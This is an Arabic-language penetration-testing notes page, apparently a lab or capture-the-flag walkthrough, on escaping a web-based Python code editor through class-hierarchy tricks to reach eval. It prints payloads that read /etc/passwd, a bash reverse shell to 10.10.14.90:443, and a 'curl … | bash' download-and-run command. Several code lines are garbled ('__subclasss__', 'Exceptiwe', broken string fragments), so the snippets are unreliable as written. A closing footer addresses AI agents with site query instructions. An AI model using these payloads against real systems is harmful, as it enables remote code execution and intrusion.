> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md).

# محرر كود Python لـ SSTI

## استغلال SSTI – محرر كود بايثون

<figure><img src="/files/64872fa9153bdc18d4747b93c57bd516c525e252" alt=""><figcaption></figcaption></figure>

تم اكتشاف محرر كود بايثون على المنفذ 5000. أثناء محاولات الحقن التقليدية (`import os`, `exec`، إلخ)، يتم توليد أخطاء.

<figure><img src="/files/b183b5208cc1f7c2bba429216987cdadce2b3fbd" alt=""><figcaption></figcaption></figure>

لتجاوز القيود، نستخدم حلقة لتحديد فئة تتيح الوصول إلى الدوال المدمجة (`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasss__()[i].__init__.__globals__['__buithe +'tins__']
        if 'ev'+'athe  in x:
            print(i)
    except Exceptiwe as e:
        continue

```

> تحاول هذه الحلقة في بايثون استغلال حقن القوالب من جهة الخادم (SSTI) بالبحث بين الفئات الفرعية للكائن الأساسي في بايثون (`object`) التي تتيح الوصول إلى البيئة العامة (`__globals__`) الخاصة بطريقته `__init__`. في كل تكرار، يحاول استرجاع قاموس الدوال المدمجة (`__builtins__`) عن طريق إعادة بناء اسمه لتجنب اكتشافه بسهولة. إذا كان الكائن الذي تم الحصول عليه يحتوي على الدالة `eval` (وهو أمر خطير جدًا لأنه يسمح بتنفيذ تعليمات برمجية عشوائية)، عندها يتم عرض فهرس الفئة. يُستخدم هذا الكود غالبًا لتحديد فئة تتيح الوصول إلى دوال حرجة مثل `eval`, `exec`, `بفتح`، إلخ، لاستغلالها.

<figure><img src="/files/d07a6fce7ab7ac82e3df43eba7c245adbf59c33a" alt=""><figcaption></figcaption></figure>

### القراءة `/etc/passwd`

بمجرد تحديد الكائن الذي يحتوي على `eval` ، ننفذ:

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))

```

{% endcode %}

يكشف هذا عن مستخدمين اثنين: `martin` و `production`.

<figure><img src="/files/8328dcabe1a179309bc565048f665e05e88d9c92" alt=""><figcaption></figcaption></figure>

### **شل عكسي**

#### ابدأ مستمعًا على المنفذ 443:

```bash
nc -nvlp 443

```

#### سكربت شل عكسية:

إنشاء `index.html` ملف يحتوي على:

{% code overflow="wrap" %}

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.90/443 0>&1

```

{% endcode %}

بدء خادم ويب:

```bash
python3 -m http.server 80

```

حقن الحمولة:

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))

```

{% endcode %}

<figure><img src="/files/988ec358c74e1bc2cc59574995cb0cc36ca0349c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
